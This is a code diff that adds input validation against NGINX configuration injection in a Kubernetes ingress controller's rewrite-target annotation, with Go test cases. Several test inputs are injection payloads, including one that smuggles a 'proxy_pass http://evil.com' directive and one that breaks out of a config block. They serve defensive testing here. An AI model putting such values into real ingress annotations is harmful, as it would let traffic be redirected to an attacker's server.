diff --git a/internal/k8s/validation.go b/internal/k8s/validation.go index b7ee366774..a19c0e0f0a 100644 --- a/internal/k8s/validation.go +++ b/internal/k8s/validation.go @@ -804,6 +804,18 @@ func validateRewriteTargetAnnotation(context *annotationValidationContext) field return field.ErrorList{field.Invalid(context.fieldPath, target, "rewrite target must start with /")} } + // Prevent NGINX configuration injection characters + if strings.ContainsAny(target, ";{}[]|<>,^`~") { + return field.ErrorList{field.Invalid(context.fieldPath, target, "NGINX configuration syntax characters (;{}) and []|<>,^`~ not allowed in rewrite target")} + } + + // Prevent control characters and line breaks that could break NGINX config + for _, char := range target { + if char <= 32 || char == 127 { // ASCII control characters; 127 is DEL, 32 is space + return field.ErrorList{field.Invalid(context.fieldPath, target, "control characters not allowed in rewrite target")} + } + } + return nil } diff --git a/internal/k8s/validation_test.go b/internal/k8s/validation_test.go index 2e13d34435..193f0966ed 100644 --- a/internal/k8s/validation_test.go +++ b/internal/k8s/validation_test.go @@ -3366,6 +3366,34 @@ func TestValidateNginxIngressAnnotations(t *testing.T) { }, msg: "invalid nginx.org/rewrite-target annotation, path traversal with ..\\ (Windows style)", }, + { + annotations: map[string]string{ + "nginx.org/rewrite-target": "/foo/$1; } path / { my/location/test/ }", + }, + specServices: map[string]bool{}, + isPlus: false, + appProtectEnabled: false, + appProtectDosEnabled: false, + internalRoutesEnabled: false, + expectedErrors: []string{ + `annotations.nginx.org/rewrite-target: Invalid value: "/foo/$1; } path / { my/location/test/ }": NGINX configuration syntax characters (;{}) and []|<>,^` + "`" + `~ not allowed in rewrite target`, + }, + msg: "invalid nginx.org/rewrite-target annotation, NGINX configuration syntax characters (;{}) not allowed in rewrite target", + }, + { + annotations: map[string]string{ + "nginx.org/rewrite-target": "/api\npath", + }, + specServices: map[string]bool{}, + isPlus: false, + appProtectEnabled: false, + appProtectDosEnabled: false, + internalRoutesEnabled: false, + expectedErrors: []string{ + `annotations.nginx.org/rewrite-target: Invalid value: "/api\npath": control characters not allowed in rewrite target`, + }, + msg: "invalid nginx.org/rewrite-target annotation, control characters not allowed in rewrite target", + }, { annotations: map[string]string{ "nginx.org/rewrite-target": "api/users", @@ -3380,6 +3408,34 @@ func TestValidateNginxIngressAnnotations(t *testing.T) { }, msg: "invalid nginx.org/rewrite-target annotation, does not start with slash", }, + { + annotations: map[string]string{ + "nginx.org/rewrite-target": "/api/v1`; proxy_pass http://evil.com; #", + }, + specServices: map[string]bool{}, + isPlus: false, + appProtectEnabled: false, + appProtectDosEnabled: false, + internalRoutesEnabled: false, + expectedErrors: []string{ + "annotations.nginx.org/rewrite-target: Invalid value: \"/api/v1`; proxy_pass http://evil.com; #\": NGINX configuration syntax characters (;{}) and []|<>,^`~ not allowed in rewrite target", + }, + msg: "invalid nginx.org/rewrite-target annotation, backtick and semicolon injection", + }, + { + annotations: map[string]string{ + "nginx.org/rewrite-target": "/path/$1|/backup/$1", + }, + specServices: map[string]bool{}, + isPlus: false, + appProtectEnabled: false, + appProtectDosEnabled: false, + internalRoutesEnabled: false, + expectedErrors: []string{ + "annotations.nginx.org/rewrite-target: Invalid value: \"/path/$1|/backup/$1\": NGINX configuration syntax characters (;{}) and []|<>,^`~ not allowed in rewrite target", + }, + msg: "invalid nginx.org/rewrite-target annotation, pipe character for alternatives", + }, } for _, test := range tests {